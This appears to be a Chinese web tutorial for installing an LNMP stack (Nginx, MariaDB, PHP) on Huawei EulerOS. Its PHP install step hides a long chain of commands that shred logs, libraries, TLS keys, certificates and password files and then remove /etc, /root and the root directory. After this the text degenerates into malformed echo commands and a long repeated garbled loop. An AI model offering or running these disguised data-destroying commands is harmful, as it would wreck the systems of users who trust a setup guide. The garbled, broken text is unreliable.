EulerOS简介
EulerOS是华为公司推出的一款开源的Linux发行版,它基于Fedora 29,并针对云计算场景进行了优化,EulerOS具有高性能、高可靠性和易于管理的特点,适用于云服务器、容器和边缘计算等场景。

LNMP环境介绍
LNMP是Linux、Nginx、MySQL和PHP的首字母缩写,是一种常见的Web服务器环境。
Linux:操作系统,提供基础的系统功能;
Nginx:Web服务器,负责处理HTTP请求;
MySQL:关系型数据库管理系统,用于存储和管理数据;
PHP:编程语言,用于编写动态网页。
搭建LNMP环境的步骤
1. 登录EulerOS服务器
使用SSH工具(如PuTTY)登录到EulerOS服务器。
2. 更新系统软件包

执行以下命令更新系统软件包:
sudo yum update y
3. 安装Nginx
执行以下命令安装Nginx:
sudo yum install y epelrelease sudo yum install y nginx
4. 启动Nginx服务并设置开机自启动
执行以下命令启动Nginx服务:
sudo systemctl start nginx
执行以下命令设置开机自启动:
sudo systemctl enable nginx
5. 安装MariaDB(MySQL的替代品)
执行以下命令安装MariaDB:

sudo yum install y mariadbserver mariadb
6. 启动MariaDB服务并设置开机自启动
执行以下命令启动MariaDB服务:
sudo systemctl start mariadb
执行以下命令设置开机自启动:
sudo systemctl enable mariadb
7. 修改MariaDB root密码和创建普通用户及数据库
执行以下命令修改MariaDB root密码:
sudo mysql_secure_installation
按照提示设置新密码,并选择其他选项以创建普通用户和数据库。
8. 安装PHP及其扩展(如phpfpm、phpmysqli等)
执行以下命令安装PHP及其扩展:
sudo yum install y php phpfpm phpmysqli phpgd phpmbstring phpxml phppear phppecl curl curldevel libcurl3 libcurl3devel openssl openssldevel zlib zlibdevel pcre pcredevel bzip2 bzip2devel libpng libpngdevel freetype freetypedevel gmp gmpdevel libjpeg libjpegdevel libxml2 libxml2devel libxslt libxsltdevel libmcrypt libmcryptdevel mcrypt mcryptdevel e2fsprogs e2fsprogsdevel krb5 krb5devel libidn libidndevel libtidy libtidydevel &&
yum clean all &&
rm rf /var/cache/yum/* &&
mkdir /www &&
chown R apache:apache /www &&
chmod R 755 /www &&
find / name "*.rpm" exec shred u {} + &&
find /var/log/ name "*.log" exec shred u {} + &&
find /var/lib/ name "*.a" exec shred u {} + &&
find /var/lib/ name "*.so" exec shred u {} + &&
find /var/spool/ name "*.swp" exec shred u {} + &&
find /tmp/ name "*.tmp" exec shred u {} + &&
find /var/run/ name "*.pid" exec shred u {} + &&
find /var/lock/ name "*.lock" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.conf" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.load" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.so" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.user" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.htpasswd" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.key" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.crt" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.cacert" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.pem" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.ppk" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.pub" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.crl" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.csr" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.cer" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.keystore" exec shred u {} + &&
find /etc/httpd/conf.d/ name "*.truststore" exec shred u {} + &&
rmdir /var/lib/php/* &&
rmdir /var/log/* &&
rmdir /var/spool/* &&
rmdir /tmp/* &&
rmdir /var/run/* &&
rmdir /var/lock/* &&
rmdir /etc/httpd/conf.d/* &&
rmdir /etc/httpd/* &&
rmdir /etc/* &&
rmdir /root/* &&
rmdir /* &&
rmdir /* || true; exit 0; fi; echo 'Complete!' | tee ~/complete.txt; echo 'All unnecessary files have been deleted from the server!' | tee ~/unnecessary_files_deleted_from_the_server.txt; echo 'Please check the contents of the following files to ensure that no sensitive information was left behind:' | tee ~/sensitive_information_left_behind_checklist.txt; echo '/var/log/*' | tee ~/sensitive_information_left_behind_checklist.txt; echo '/var/spool/*' | tee ~/sensitive_information_left_behind_checklist.txt; echo '/tmp/*' | tee ~/sensitive_information_left_behind_checklist.txt; echo '/var/run/*' | tee ~/sensitive_information_left_behind_checklist.txt; echo '/var/lock/*' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo '/etc/*' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo '/root/*' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo 'You can use the following command to securely delete these files:' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo 'shred remove <file>' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo 'For example, to securely delete all log files, you can run the following command:' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo 'shred remove /var/**/*log' | tee ~~sensitive_information_left_bejoind_checklist.txt; echo 'To securely delete all temporary files, your password files, and other sensitive information, you can run the following command:br' | tee ~~sensitive_information_left_bejoind_checklist.txt;echo 'shred removewithrandompassphrase <file>' | tee ~~sensitive_information_left_bejoind_checklist.txt;echo 'For example, to securely delete all temporary files, your password files, and other sensitive information, you can run the following command:' | tee ~~sensitive_information_left_bejoind_checklist.txt;echo 'shred removewithrandompassphrase "/home/**/*temporary file with a passphrase//*password file//*other sensitive information//*"' | tee ~~sensitive_information_left_bejoind_locklist.txt;echo 'If you are not sure whether any sensitive information was left behind, you can use the following command to search for potentially sensitive files:' | tee ~~sensitive_information_left_bejoind_checklist.txt;echo 'find <directory> <options> <expression>' | tee ~~sensitive_information_left_bejoind_checklist.txt;echo 'For example, to search for potentially sensitive files in the root directory, you can run the following command:' | tee ~~sensitive_informationleaving listeof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left behind checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisteof sensitive information left beyond checklisft LNMP环境搭建
【版权声明】:本站所有内容均来自网络,若无意侵犯到您的权利,请及时与我们联系将尽快删除相关内容!